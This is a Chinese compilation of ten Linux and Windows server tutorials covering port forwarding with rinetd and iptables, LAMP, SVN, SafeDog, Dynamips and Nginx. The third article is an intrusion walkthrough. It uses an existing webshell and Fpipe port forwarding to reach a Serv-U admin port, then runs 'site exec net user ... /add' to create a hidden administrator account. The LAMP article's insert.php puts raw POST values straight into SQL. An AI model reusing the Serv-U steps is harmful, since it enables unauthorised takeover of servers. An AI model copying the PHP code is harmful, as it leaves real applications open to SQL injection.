“ui”为你分享10篇“端口转发软件rinetd安装部署linux服务器应用”,经本站小编整理后发布,但愿对你的工作、学习、生活带来方便。
篇1:端口转发软件rinetd安装部署linux服务器应用
公司的运营服务器所在的机房要求我们提供固定IP来绑定 ,除了80端口以外,其它的端口只能通过这个固定IP来访问,
目前只有一个固定IP,而且还是在内网的服务器上,这台服务器又不能允许其它人的登录访问,怎么办呢,试试端口转发了。
开始想用iptables来进行转发,这东东感觉及复杂 了,看了大半天的文档,还是没有搞懂,走其它的方式了。
google了一个叫rinetd的软件,支持windows,linux下进行端口转发,貌似不错。
下载地址:http://www.boutell.com/rinetd/http/rinetd.tar.gz
文档上说windows下需要VC++的支持,linux下应该就是gcc的支持了。
首行:yum install gcc*
tar zxvf rinetd.tar.gz
cd rinetd
修改源文件中的端口号:
vim rinetd.c
找到:bindPort >=65536 修改为:bindPort >= 65535
找到:connectPort >= 65536 修改为:connectPort >= 65535
在/usr目录下新建目录 man
make
make install
安装成功,
运行方式:
新建配置文件:vim /etc/rinetd.conf
这里是定制转发的规则。
格式是:源IP 源端口 目标IP 目标端口
我的配置是:
192.168.0.189 21 123.123.123.123 21
allow *.*.*.*
logfile /var/log/rinetd.log
启动rinetd
/usr/sbin/rinetd -c /etc/rinetd.conf
这样就可以了,目前看来效果还不错。特此记录。
篇2:linux下使用rinetd来实现端口转发
本文给大家分享的是一个linux下简单好用的工具rinetd,实现端口映射/转发/重定向,有需要的小伙伴可以参考下,
windows下的端口转发一般用的是自带的nat和porttunnel、portmap
linux下端口转发映射的程序叫rinetd,启动方法rinetd -c /etc/rinetd.conf ,pkill rinetd 关闭进程
工具主页: http://www.boutell.com/rinetd/
软件下载,解压安装
代码如下:
wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
tar zxvf rinetd.tar.gz
make
make install
把1.1.1.1的11端口映射到2.2.2.2的3389端口,配置文件如下
代码如下:
[root@localhost iso]# cat /etc/rinetd.conf
1.1.1.1 11 2.2.2.1 3389
1.1.1.1 12 2.2.2.2 3389
1.1.1.1 13 2.2.2.3 22
1.1.1.1 14 2.2.2.4 80
allow *.*.*.*
logfile /var/log/rinetd.log
启动程序
代码如下:
pkill rinetd ##关闭进程
rinetd -c /etc/rinetd.conf ##启动转发
把这条命令加到/etc/rc.local里面就可以开机自动运行
查看状态
代码如下:
netstat -antup
如果想用iptables实现的话,可以用一下命令,
代码如下:
WAN_IP=”202.106.0.20″
iptables -t nat -A PREROUTING -i eth0 -p tcp �Cdport 2533 -j DNAT �Cto 192.168.1.88:80
iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.88 -p tcp �Csport 80 -j SNAT �Cto $WAN_IP:2533
第一句定义一个变量
第二句实现对端口为2533的请求转发到192.168.1.88的80端口
第三句修改从etho输出的源地址为192.168.1.88,端口为80的数据包的源地址为本机的2533端口,以便对方收到
数据包之后能正确返回。
以上所述就是本文的全部内容了,希望大家能够喜欢。
篇3:ServU服务器提权之端口转发
前面有朋友问到,如果说Serv-u的目录没有修改权限怎么办
这里也给大家做下解答。 如果说serv-u服务器没有修改权限的话。
那么我就需要做下端口转发,与前面的讲的lxc的转发一样,不同的只是转发的端口不一样。
前面是将其他端口转发到3389的端口上。可是这里要用到的是将其他端口映射到43958端口上 具体什么端口可以随意 只要不占用。
方法如下:
1.查看SERV-U是否有可读可写可修改权限
2.如果没有 考虑用SERV-U来端口转发
3.上传cmd.exe和Fpipe.exe进行端口转发 运行一下命令:
Fpipe.exe -v -l 44959 -r 43958 www.myhack58.com
(这里webshell必须要有dos权限,也就是要可以运行CMD命令)
4.本机搭建SERV-U 端口为:45959 IP地址为 提权目标IP 账户为默认的
5.本机cmd链接FTP 运行一下命令
Quote site exec net user heishou 1234567 /add
Quote site exec net localgroup administrators heishou /add
(因为前面我们以前做了端口转发所以现在我们本地的serv-u就相当于服务器上的serv-u)
6.如果命令运行不成功 也就是说管理员删除了net程序 那么我们就给他上传一个net程序
这篇文章希望能够给大家带来帮助,另外恭祝大家,提权提到手抽筋,
。。
篇4:在Redhat安装部署Apache+MySQL+PHP(LAMP)linux服务器应用
1. 安装Apache2
yum install httpd
Apache安装完成后,手动启动Apache2
/etc/init.d/httpd start
这时,直接在浏览器中输入服务器的IP地址,即可看到Apache2的默认页面,此时的Apache仅仅能提供HTTP服务,不能执行php、也不能连接MySQL数据库。
2. 安装MySQL
yum install mysql mysql-server
完成后,使用如下命令启动MySQL服务:
/etc/init.d/mysqld start
3. 安装PHP5
yum install php
安装完php5后,必须要重新启动Apache以使php生效:
/etc/init.d/httpd restart
这时,Apache已经可以解析执行php脚本了。由于Apache的默认网站根目录位于:/var/www/html/,因此在此目录建立一个info.php用来测试Apache+PHP的正确安装与否:
echo “
然后在浏览器中访问 IP/info.php,出现了PHPINFO的输出信息则表示安装成功
安装php的mysql模块
yum install php-mysql
完成后再次重启Apache
/etc/init.d/httpd restart
最后还需要将LAMP组件设置为自动启动:
chkconfig --levels 2345 httpd on
chkconfig --levels 2345 mysqld on
测试环境(阿里云虚机):
登录本地的MySQL创建一个表,创建一个用户,设定该用户对表的操作权限
use test;
create table login(
uid char(20),
dt int,
text char(50)
);
grant select,insert,update,delete on *.* to alan@”%“ identified by 'password';
test.php
01
02$host = 'xxx.xxx.xxx.xxx';
03$user = 'alan';
04$passwd = 'password';
05$db = 'test';
06
07$conn = mysql_connect($host,$user,$passwd);
08if (!$conn) {
09die('Could not connect: ' . mysql_error);
10}
11echo ”select data from MySQL
“;
12mysql_select_db($db, $conn);
13
14$select_sql = ”select * from login“;
15$result = mysql_query($select_sql);
16
17echo ”uidtimetext“;
18
19while ($row = mysql_fetch_array($result)) {
20echo ”“;
21echo ”“.$row['uid'].”“;
22echo ”“.$row['dt'].”“;
23echo ”“.$row['text'].”“;
24echo ”“;
25}
26echo ”
“;
27
28echo ”
29Name:
30text:
31“;
32
33mysql_close($conn);
34?>
insert.php
01
02$host = 'xxx.xxx.xxx.xxx';
03$user = 'alan';
04$passwd = 'password';
05$db = 'test';
06
07$conn = mysql_connect($host,$user,$passwd);
08if (!$conn) {
09die('Could not connect: ' . mysql_error());
10}
11mysql_select_db($db, $conn);
12$dt = time();
13$insert_sql = ”insert into login(uid,dt,text) values('$_POST[uid]', $dt, '$_POST[text]')“;
14echo ”SQL: “.$insert_sql.”
“;
15if (!mysql_query($insert_sql, $conn)) {
16die('Error: ' . mysql_error());
17}
18echo ”1 record added.
“;
19
20mysql_close($conn);
21
22?>
1. 访问页面
2. 提交表单,执行一条sql插入语句
3. 返回页面刷新查看结果
相关配置与环境
Apache主配置文件:/etc/httpd/conf/httpd.conf
Apache主配置目录,可以将不同类型的配置分门别类放入这个目录中:/etc/httpd/conf.d/
Apache网站根目录:/var/www/html/
Apache日志文件目录:/var/log/httpd
MySQL的my.cnf配置文件:/etc/my.cnf
MySQL数据库文件位置:/usr/lib/mysql
篇5:在windows上如何安装部署设置SVN服务器
在windows上如何安装部署设置SVN服务器
工具/原料
操作系统:Windows,32位
SVN Server版本:svn-win32-1.6.16
SVN Client版本:TortoiseSVN-1.6.16.21511
方法/步骤
一、准备工作
1、SVN服务器:解压缩包,可以从 下载最新版本,
2、SVN客户端:TortoiseSVN,即常说的小乌龟,是一个客户端程序,用来与服务器端通讯。
二、安装服务器和客户端程序
1、SVN服务器:直接解压缩到某个文件夹下即可。示例路径:c:svn
备注:如果下载的是msi程序,直接运行按提示安装即可。
2、SVN客户端:直接运行按提示安装即可,
示例路径:C:Program FilesSubversion
三、建立版本库(Repository):示例路径:e:svnroot。建立版本库有两种方法:
方法一,建立空目录e:svnrootrepos1,进入repos1文件夹,在空白处点击右键,选择“TortoiseSVN->Create Repositoryhere...”,
方法二,建立空目录e:svnrootrepos2,进入DOS命令行,输入如下命令:
svnadmincreate e:svnrootrepos2
四、运行SVN服务器,启动服务。启动服务有两种方法:
方法一,临时启动服务,在DOS下输入如下命令:
svnserve -d -r e:svnrootrepos1 --listen-host ip地址 --listen-port=端口号
说明:“listen-host”和“listen-port”可选。默认端口是3690,如果端口已经被占用,可以通过选项listen-port指定端口号。
篇6:Linux系统上Iptables实现端口转发的过程服务器教程
看了不少关于用Iptables实现端口转发的文章,但感觉都没有把问题说得很清楚,现接合我自己设置和使用的经历,谈谈它的实现过程.
设我们有一台计算机,有两块网卡,eth0连外网,ip为1.2.3.4;eth1连内网,ip为192.168.0.1.现在需要把发往地址1.2.3.4的81端口的ip包转发到ip地址192.168.0.2的8180端口,设置如下:
1. Iptables -t nat -A PREROUTING -d 1.2.3.4 -p tcp -m tcp --dport 81 -j DNAT --to-destination192.168.0.2:8180
2. Iptables -t nat -A POSTROUTING -s 192.168.0.0/255.255.0.0 -d 192.168.0.2 -p tcp -m tcp --dport 8180 -j SNAT --to-source 192.168.0.1
真实的传输过程如下所示:
假设某客户机的ip地址为6.7.8.9,它使用本机的1080端口连接1.2.3.4的81端口,发出的ip包源地址为6.7.8.9,源端口为1080,目的地址为1.2.3.4,目的端口为81.
主机1.2.3.4接收到这个包后,根据nat表的第一条规则,将该ip包的目的地址更该为192.168.0.2,目的端口更该为8180,同时在连接跟踪表中创建一个条目,(可从/proc/net/ip_conntrack文件中看到),然后发送到路由模块,通过查路由表,确定该ip包应发送到eth1接口.在向eth1接口发送该ip包之前,根据nat表的第二条规则,如果该ip包来自同一子网,则将该ip包的源地址更该为 192.168.0.1,同时更新该连接跟踪表中的相应条目,然后送到eth1接口发出.
此时连接跟踪表中有一项:
连接进入: src=6.7.8.9 dst=1.2.3.4 sport=1080 dport=81
连接返回: src=192.168.0.2 dst=6.7.8.9 sport=8180 dport=1080
是否使用: use=1
而从192.168.0.2发回的ip包,源端口为8180,目的地址为6.7.8.9,目的端口为1080,主机1.2.3.4的TCP/IP栈接收到该ip包后,由核心查找连接跟踪表中的连接返回栏目中是否有同样源和目的地址和端口的匹配项,找到后,根据条目中的记录将ip包的源地址由 192.168.0.2更该为1.2.3.4, 源端口由8180更该为81,保持目的端口号1080不变.这样服务器的返回包就可以正确的返回发起连接的客户机,通讯就这样开始.
还有一点, 在filter表中还应该允许从eth0连接192.168.0.2地址的8180端口:
Iptables -A INPUT -d 192.168.0.2 -p tcp -m tcp --dport 8180 -i eth0 -j ACCEPT
篇7:服务器安全狗Linux版软件安装使用说明linux服务器应用
服务器安全狗Linux版(SafeDog for Linux Server)是为Linux服务器开发的一款服务器管理软件,它集成了系统参数快速设置,系统运行状态直观展示,系统状态实时监控,常用服务、设备或软件的快速安装和配置等功能,帮助管理员快速直观地管理服务器,本软件还提供了纯字符界面下的界面交互接口和详细的操作指引,使得管理员对服务器的状态更加了解,管理和配置服务器也更加简单。
系统快速配置
1、网络接口配置
界面显示系统各个网卡的IP,子网掩码,MAC地址,IP设置方式,网卡激活状态等信息,还显示系统的DNS服务器(nameserver)设置。
快捷键支持修改网卡的IP获取方式,如果设置手动需要填写IP和掩码信息,网关和DNS信息可选填写,同时提供停用网卡,启动网卡等功能。
如果显示值为”??”,表示软件无法探测到该项参数或者该项参数不存在。
[注意]
软件显示的dynamic或static为当前IP的获取方式,仅仅作为参考,可能并不一定是正确的。
2、系统状态配置
界面显示系统的机器名,系统日期和时间,快捷键支持修改系统的机器名,系统中的账号和密码,系统日期和时间。本菜单下每隔二到三秒会自动刷新状态。
系统快速优化
1、 网络优化
Icmp Echo Ignore All 开启或关闭“禁止响应ping包策略”
[验证生效方法]
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
结果为1表示生效,为0表示不生效
[测试方法]
可通过在本机执行命令
ping 127.0.0.1
查看配置前后效果
Tcp SynCookies 开启或关闭“防范syn flood攻击策略”
[验证生效方法]
执行命令
cat /proc/sys/net/ipv4/tcp_syncookies
结果为1表示生效,为0表示不生效
[测试方法]
暂无
TcpTimeWaitReuse 开启或关闭“TIME-WAIT状态的端口重用”
[验证生效方法]
执行命令
cat /proc/sys/net/ipv4/tcp_tw_reuse
结果为1表示生效,为0表示不生效
[测试方法]
暂无
2、 进程资源优化
shmmax 设置单个共享内存段的最大值,单位为Byte
[验证生效方法]
执行命令
cat /proc/sys/kernel/shmmax
[测试方法]
使用以下命令
ipcmk
shmall 全部允许使用的共享内存大小,单位为页面
[验证生效方法]
执行命令
cat /proc/sys/kernel/shmall
[测试方法]
使用以下命令
ipcmk
shmmni 系统范围内共享内存段的最大数量
[验证生效方法]
执行命令
cat /proc/sys/kernel/shmmni
[测试方法]
使用以下命令
ipcmk
threadsmax 系统最大线程数[验证生效方法]
执行命令
cat /proc/sys/kernel/threads-max
[测试方法]
暂无
filemax 分配给进程的最大文件描述符数目
[验证生效方法]
执行命令
cat /proc/sys/kernel/file-max
[测试方法]
暂无
系统实时监控
1、 文件监控
Monit Toggle 文件监视器开关
File List 监视的文件列表
[测试方法]
设置完文件列表后,再开启监视器开关,可以使用如下命令查看报告文件
tail -f /etc/safedog/monitor/filemonit.txt
对文件列表中的文件或文件夹进行的生成、修改、删除会马上反应到报告文件中,
对文件列表中的文件夹内的文件或一级文件夹进行的生成、修改、删除也会马上反应到报告文件中。
[注意]
不会递归监控到子目录里面,并且当文件名列表为空时无法启动监视器。
2、 进程监控
Monit Toggle 进程监视器开关
Process List 监视的进程名(必须包括运行参数)列表
[测试方法]
设置完进程名列表后,再开启监视器开关,可以使用如下命令查看报告文件
tail -f /etc/safedog/monitor/processmonit.txt使用命令
top或ps aux
能够看到进程是否正在运行,一旦进程结束或被kill,监视器会马上重启进程,
比如设置进程名列表为
/bin/sleep 5
/bin/sleep 15
可以看到,进程中将一直有这两个进程在运行,只要一结束,马上就会被重启。
注意当进程名列表为空时,无法启动监视器。
[注意]
本功能只适用于监控可以通过一条命令启动的守护进程,本功能正确的使用方法是,初始时不要启动要监控的服务,通过添加要监控的进程启动命令,让安全狗自动启动被监控的进程,否则可能因为启动过程不同导致安全狗无法匹配出进程列表中的进程名。(比如要监控vsftpd进程,如果用户添加的监控内容为”vsftpd &”,但是用户在此之前通过命令service vsftpd start启动了vsftpd的命令就会出错。)
3、 CPU监控
Monit Toggle CPU使用率监视器开关
CPU Ceil CPU使用率监视上限(高于该值写入报告)
CPU Floor CPU使用率监视下限(低于该值写入报告)
[测试方法]
设置完监视范围后,再开启监视器开关,可以使用如下命令查看报告文件
tail -f /etc/safedog/monitor/cpumonit.txt
4、 内存监控
Monit Toggle 内存使用率监视器开关
Memory Use Ceil 内存使用率监视上限(高于该值写入报告)
同时显示系统当前内存使用量和空闲量
[测试方法]
设置完监视范围后,再开启监视器开关,可以使用如下命令查看报告文件
tail -f /etc/safedog/monitor/memorymonit.txt
5、 磁盘容量监控Partition 监视的磁盘分区,比如/dev/sda1
Ceil 监视的磁盘容量的上限(高于该值写入报告)
Floor 监视的磁盘容量的下限(低于该值写入报告)
Interval 监视的磁盘容量的报告间隔值(增减量大于该值时写入报告)
[测试方法]
设置完监视范围后,再开启监视器开关,可以使用如下命令查看报告文件
tail -f /etc/safedog/monitor/ diskvolumemonit.txt
6、 文件备份
File 需要备份的文件绝对路径
Backup Directory 存方向备份文件的目标目录
Backup Size 监视的文件大小超过此值时,文件将被压缩备份到备份目录,同时清空原文件
[测试方法]
设置完监视路径和备份后,再开启监视器开关,当文件大小超过设定值时,可以检查备份的目标目录和所监视的文件内容。
7、 TCP监听端口
显示当前系统中正在监听的tcp端口及相应的地址、进程ID和进程名字。
应用程序设置
1、 iptables
显示iptables的当前规则集列表以及规则链的默认策略(policy)。
可以对iptables中的input链或output链添加一些简单的规则,包括协议类型(TCP/UDP),源地址,源端口,目的地址,目的端口,行为等。
[测试方法]
通过软件添加相应规则后测试通过网络测试相应规则是否生效。
[注意]
通过本软件对iptables的设置在重启后丢失。
2、 vsftpd
对系统中已安装未配置过的vsftpd进行一些简单的配置。
Anonym Enable 是否允许匿名用户登录Anonym Upload 是否允许匿名用户上传权限
Anonym Make Directory 是否允许匿名用户建立文件夹权限
Anonym Root Path 匿名用户的根目录路径
Local User Enable 是否允许本地用户登录
Write Enable 是否允许写权限,些开关影响所有需要用到写权限的操作
Ftp Start 启动停止ftp服务
Ftp Restore Default 初化或恢复甩的默认配置,第一次进入时必须先进行初始化
[测试方法]
配置完成后启动vsftpd,然后通过网络访问本机的ftpd服务器测试配置项是否生效。
在浏览器上输入
ftp://服务器ip/
访问ftp服务器
[注意]
本软件只能对vsftpd进行简单的配置,如果需要更加复杂的设置,请直接参考vsftpd手册编辑配置文件。使用本功能时,必须先启动一次” Ftp Restore Default”功能,对配置进行初始化,初始化以后,vsftpd之前的配置信息会丢失,同时,匿名用户的根目录设置到了/srv/ftp,同时/srv/ftp/upload目录是匿名用户的上传目录。通过软件也可以重新修改相关设置。通过软件配置完毕后,要使用配置生效,需要在软件界面上的” Ftp Start”中先关闭服务再重新打开服务(即重启服务)。
3、 samba
对系统中已安装未配置过的samba进行一些简单的配置。
Share Directory Path 共享文件夹的路径
Share Write Enable 共享文件夹的匿名写权限
Samba Start 启动停止共享
Samba Restore Default 初始化配置文件,第一次进入时必须先进行初始化
[测试方法]
配置完成后启动samba,然后通过网络访问本机的samba共享文件夹测试配置项是否生效。
在浏览器上输入
服务器ip访问samba共享服务器
[注意]
参考vsftpd的注意事项。
软件卸载
在之前的解压出来的safedog_1.0.0.tar.gz目录下执行命令:
./uninstall.sh
即可。
篇8:FreeBSD系统下安装应用软件
FreeBSD下拥有多种预编译好的软件包,包括了从数学运算到系统维护,从图象处理到Internet服务程序等大量的软件,之所以能拥有如此丰富的软件,除了Unix本身就是一个非常流行的开发平台之外,另一个重要原因就是每种Unix中均提供了高级语言C作为了标准开发语言,而C语言具有高度可移植性,并且随着Unix的流行它成为了最重要的一种程序设计语言。
由于Unix运行在多种不同的平台上,而不同平台上的二进制执行文件只包含本平台上的机器指令,因此造成一个平台上的应用程序不能直接在另一个平台上运行。但是在Unix的世界中,有着通用的编程语言C和相同的系统调用,使得不同的Unix平台上程序的C代码基本相同,为一种Unix开发的应用程序,很容易就能移植到其他Unix系统中。传统上在Unix上安装各种应用软件一般使用源代码的形式,需要管理员手工编译安装,这就要求管理员需要熟悉C语言及其开发工具。然而这样操作毕竟是一个繁琐的任务,尤其对于不太熟悉C语言的使用者更为困难。因此各种Unix各自发展了一些直接安装二进制程序的机制,FreeBSD中也提供了Packages Collection── 一种管理和安装预编译好的软件包机制,来帮助使用者管理各种应用软件,使得用户不需要了解C语言及其开发工具,也能正常进行应用软件的安装和管理。
应用软件的类别
在安装和使用应用软件的时候,正版和盗版等版权问题总是计算机使用者需要考虑的话题之一。很多计算机使用者总以为软件的版权问题与光盘、磁带类似,不是正版就是盗版。然而情形并非绝对如此,绝大多数软件的开发者倾向于让自己开发的程序被尽可能多的人使用,当软件开发者不以软件作为获利的目的时,对软件的使用就没有采取任何限制,或者是很宽容的限制。其他使用者就可以自由使用这些软件,而不需要考虑版权问题。
正由于软件开发者的目的不同,因此对他们的软件使用的版权保护方法也不同。有的开发者出于自己的个人兴趣、需要或信仰而开发软件,希望自己的软件为更多的人使用,没有或暂时没有从软件中获利的目的,因此就鼓励其他人使用这个软件。有的开发者出于盈利的目的开发软件,因此就使用了严格的版权限制。按照不同软件的版权限制,可将应用软件可以分为两类:
公共域软件与自由软件
这些软件的作者对版权不加任何限制或者限制很少,属于这一类的软件通常提供源程序,允许使用者自由使用软件并任意修改。FreeBSD系统中包括的软件均属于这一类,因此使用者不需要考虑使用FreeBSD的版权问题。其中公共域软件对版权没有任何限制,可以认为是属于放弃版权的软件。很多公共域软件是科研机构和大学开发的,但也被商业公司用于自己的系统中,此时商业公司就使用了自己的版权声明,而用户却无法自由使用该软件。
为了保护软件不被商业机构滥用,自由软件基金会的Stallman使用了GNU版权许可来保护用户自由使用软件的权利,这个版权许可允许将自由软件用于商业目的,但必须允许用户有自由使用、拷贝、修改的权利,
根据这个许可,可以销售GNU软件,但必须同时包括它的源程序以便用户根据情况修改(或者在用户要求时提供)。
GNU软件许可并不是唯一的自由软件许可权声明,FreeBSD使用的BSD许可也是另一个重要的版权许可。与GNU许可相比,BSD许可更宽松一些。BSD许可只要求必须保持显示的相关作者的声明信息,对商业使用限制更少。此外还有X的版权许可等。由于GNU软件许可最为著名,并且也比较完善,因此很多非自由软件基金会的软件也使用这个许可权,用来保护自己软件的版权。
事实上这一类软件在计算机发展中起了很重要的作用,它们常常最先实现很多新想法、新功能,推动软件技术的发展。自由软件的功能、效率和可靠性并不比商业软件差,有的软件甚至要好于同类的商业软件,唯一的问题是自由软件不提供技术服务,仅仅随同软件提供一些电子文档,需要使用者自己去学习安装和使用。当然,自由软件通常也有相应的商业版本,差别就在于提供了商业技术服务支持。
共享软件与专有软件
这些软件通常是基于商业目的开发的软件,这些软件通常使用严格的版权规定。这些软件中的大部分不允许使用者免费使用。但出于商业目的,一些软件允许使用者免费使用,但对软件的自由使用提出了一定的条件和限制。
一些共享软件不提供源代码,一些商业软件的演示版本提供了较弱的功能和使用时间限制。还有一些软件的限制更宽松,允许个人用户自由使用软件,但不许可自由分发、拷贝软件。
一些FreeBSD安装介质中,在基本系统之外也提供了一些共享软件,供使用者手工安装(不能使用安装程序安装)。这些软件允许使用者在一定条件下,并按照软件本身的声明使用这些软件。由于版权问题,系统不会将这些软件包括进系统内部,使用者只有在保证软件版权条件下才能运行这些软件。
开放源码观念
由于在Unix世界中,软件的标准为C语言,有了C源代码就能将应用程序移植到其他Unix上,因此在Uni x传统上,就有一种提供软件的同时也应该提供源码的观念。
发布软件的源代码对用户有很多好处,一方面用户能够了解他们使用的软件是可以信赖的,即使存在问题,也能够及时发现错误,并依据源码及时纠正,这些修正返回到开发者那里,同样起到促进软件发展的目的。另一方面毕竟通用软件并不一定完全适合用户的需要,发布软件的源码使得用户能够按照自己的需求定制软件。
因此在Internet上很多软件的作者都认同这种观念,这种观念还得到了包括Netscape等商业公司的支持,进而组织了开放源码组织(Open Source)来支持这种观念。FreeBSD的众多开发者就是这个组织的坚定支持者。其网址为http://www.opensource.org
当前开放源码得到了一些商业公司的支持,如netscape公司就公开了它们的浏览器的源代码。出于技术的发展,软件本身已经不再包括太多的技术秘密了,在Internet上可以找到各类程序的源代码,依靠未公开接口保持软件秘密的做法基本被大家抛弃。当程序设计从 “艺术” 转变为 “工程” ,重要的就不再是程序设计的秘密,而是软件工程了。商业公司也可以从开放源代码的情况下,获得使用者更多的建议,使得它的软件能进一步完善。
篇9:Ubuntu下安装Dynamipslinux服务器应用
终于受不了Windows下跑dynamips了 呵呵,下了决心弄到基于debian的Ubuntu下,提供两个方法
方法一: 没事找事, 自己瞎玩型
1.在Ubuntu平台安装libpcap
安装gcc编译器
sudo apt-get install gcc
安装flex编译器
sudo apt-get install flex
安装bison编译器
sudo apt-get install bison
解压数据包“libpcap-0.9.8.tar.gz”
tar -zxvf libpcap-0.9.8.tar.gz
另外Ubuntu不支持rpm安装文件,rpm是Red Hat操作系统的标准安装文件格式,可以采用alien将rpm包转换为deb包,
安装alien:sudo apt-get install alien
alien使用:alien XXX.rpm 这样就生成Ubuntu支持的XXX.deb
安装deb文件包:sudo dpkg -i XXX.deb 或双击安装
编译
./configure
make
make install
移动文件夹:mv
删除文件夹:rm -rf XXX
2.下载dynamips源代码“dynamips-0.2.8-RC2-amd64.bin”解压,地址 http://www.linuxidc.com/Linux/-04/19272.htm
3.下载dynagen源代码“dynagen-0.11.0.tar.gz” http://www.linuxidc.com/Linux/2009-04/19273.htm
4.拷贝“dynamips-0.2.8-RC2-amd64.bin”到opt下
cp dynamips-0.2.8-RC2-amd64.bin /opt/dynamips
ln -s /opt/dynamips/dynamips-0.2.8-RC2-amd64.bin dynamips
这条命令是建立一个快捷键dynamips,快捷键指向“dynamips-0.2.8-RC2-amd64.bin”,此时程序的路径需要是绝对路径。
5.解压复制dynagen
tar -zxvf dynagen-0.11.0.tar.gz
mv dynagen-0.11.0 /opt
ln -s /opt/dynagen-0.11.0/dynagen dynagen
6.把ios和.net文件
把他们放入自定意的文件夹中,ios的位置无所谓,可以在.net中用绝对路径指定
“image = /opt/ios/c7200-js-mz.123-8.T11.extracted.bin”
7.启动dynampis
网上都用“nice dynampis -H 7200”来启动, 其中这个7200是端口,但我测试是不行:
frank@frank-laptop:/opt# nice dynamips -H 7200
nice: dynamips: 没有该文件或目录
权限都已经更改过了,最后没有什么办法,索性不用nice了,直接执行:
frank@frank-laptop:/opt/dynampis$ sudo ./dynamips -H 7200
Cisco Router Simulation Platform. (version 0.2.8-RC2-amd64)
Copyright (c) - Christophe Fillot.
Build date: Oct 14 2007 10:46:52
ILT: loaded table “mips64j” from cache.
ILT: loaded table “mips64e” from cache.
ILT: loaded table “ppc32j” from cache.
ILT: loaded table “ppc32e” from cache.
Hypervisor TCP control server started (port 7200).
这时再开启一个终端并启动dynagen
frank@frank-laptop:/opt/dynampis$ sudo ./dynagen self-Mpls.net
[sudo] password for frank:
Dynagen management console for Dynamips and Pemuwrapper 0.11.0
Copyright (c) 2005-2007 Greg Anuzelli, contributions Pavel Skovajsa
=> ?
Documented commands (type help ):
========================================
capture confreg cpuinfo export hist list py save show suspend
clear console end filter idlepc no reload send start telnet
conf copy exit help import push resume shell stop ver
剩下的事就跟windowns一样了,
第二种方法: 懒人也可以,反正有人做型 呵呵
在Ubuntu里有软件包管理器, 用它搜索一个别人做好的, 直接拿过来用就ok咯。 够懒的了吧。
篇10:Nginx实战基础篇一 源码包编译安装部署web服务器linux服务器应用
实验步骤:
一、安装nginx必须的依赖包
[root@rhel6u3-7 ~]# yum -y install gcc openssl-devel pcre-devel zlib-devel //yum创建过程略,安装略
二、安装编译nginx,目前系统测试环境为rhel6.3 软件版本为nginx-1.27
[root@rhel6u3-7 ~]# useradd nginx -s /sbin/nologin //给nginx服务器创建后台进程管理用户
[root@rhel6u3-7 ~]# tar zxvf nginx-1.2.7.tar.gz //解压缩
[root@rhel6u3-7 ~]# cd nginx-1.2.7
[root@rhel6u3-7 nginx-1.2.7]# ./configure --user=nginx --group=nginx --prefix=/usr/local/nginx/ --with-http_stub_status_module --with-http_ssl_module
// --user=nginx –group=nginx 设置允许nginx允许的用户和组为nginx
// --prefix=/usr/local/nginx/ 设置nginx安装路径
// --with-http_stub_status_module 安装允许状态模块
// --with-http_ssl_module 安装ssl模块
//更多参数请参看 ./configure --help
…… //安装显示略,如果配置正确,最后会显示以下信息,
Configuration summary
+ using system PCRE library
+ using system OpenSSL library
+ md5: using OpenSSL library
+ sha1: using OpenSSL library
+ using system zlib library
nginx path prefix: ”/usr/local/nginx/“
nginx binary file: ”/usr/local/nginx//sbin/nginx“
nginx configuration prefix: ”/usr/local/nginx//conf“
nginx configuration file: ”/usr/local/nginx//conf/nginx.conf“
nginx pid file: ”/usr/local/nginx//logs/nginx.pid“
nginx error log file: ”/usr/local/nginx//logs/error.log“
nginx http access log file: ”/usr/local/nginx//logs/access.log“
nginx http client request body temporary files: ”client_body_temp“
nginx http proxy temporary files: ”proxy_temp“
nginx http fastcgi temporary files: ”fastcgi_temp“
nginx http uwsgi temporary files: ”uwsgi_temp“
nginx http scgi temporary files: ”scgi_temp“
[root@rhel6u3-7 ~]# /usr/local/nginx/sbin/nginx –V //安装完成后查看Nginx的相关环境配置信息是否正确
nginx version: nginx/1.2.7
built by gcc 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC)
TLS SNI support enabled
configure arguments: --user=nginx --group=nginx --prefix=/usr/local/nginx/ --with-http_stub_status_module --with-http_ssl_module
[root@rhel6u3-7 ~]#
[root@rhel6u3-7 nginx-1.2.7]# make & make install //编译安装过程略
三、通过nginx自身脚本机器nginx服务器,并通过各种命令查看是否启动成功
[root@rhel6u3-7 ~]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf // -c指向nginx主配置文件
[root@rhel6u3-7 ~]# lsof -i :80 //查看nginx进程号及运行情况
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nginx 4080 root 6u IPv4 21467 0t0 TCP *:http (LISTEN)
nginx 4081 nginx 6u IPv4 21467 0t0 TCP *:http (LISTEN)
[root@rhel6u3-7 ~]# ps -ef | grep nginx //查看nginx进程号及运行情况
root 4080 1 0 22:24 ? 00:00:00 nginx: master process /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
nginx 4081 4080 0 22:24 ? 00:00:00 nginx: worker process
root 4088 1433 0 22:27 pts/0 00:00:00 grep nginx
[root@rhel6u3-7 ~]# netstat -nltp | grep 80 //查看nginx进程监听端口
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 4080/nginx
四,测试nginx配置的默认web服务器是否能正常运行
通过linux自带命令links 测试
[root@rhel6u3-7 ~]# links 127.0.0.1 //出现 welcome to nginx!说明nginx服务启动成功
通过windows服务器IE浏览器测试
扩展知识:
1、设置nginx开机自动启动,将nginx启动命令添加到/etc/rc.local
[root@rhel6u3-7 ~]# echo ”/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf“ >> /etc/rc.local
[root@rhel6u3-7 ~]# cat /etc/rc.local | grep nginx
/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
2、通过设置System V 脚本,使用server命令启动nginx服务
[root@rhel6u3-7 init.d]# vim nginx //在/etc/init.d/下创建nginx启动脚本文件
#!/bin/sh
#
# nginx - this script starts and stops the nginx daemon
#
# chkconfig: - 85 15
# description: Nginx is an HTTP(S) server, HTTP(S) reverse
# proxy and IMAP/POP3 proxy server
# processname: nginx
# config: /etc/nginx/nginx.conf
# config: /etc/sysconfig/nginx
# pidfile: /var/run/nginx.pid
# Source function library.
. /etc/rc.d/init.d/functions
# Source networking configuration.
. /etc/sysconfig/network
# Check that networking is up.
[ ”$NETWORKING“ = ”no“ ] && exit 0
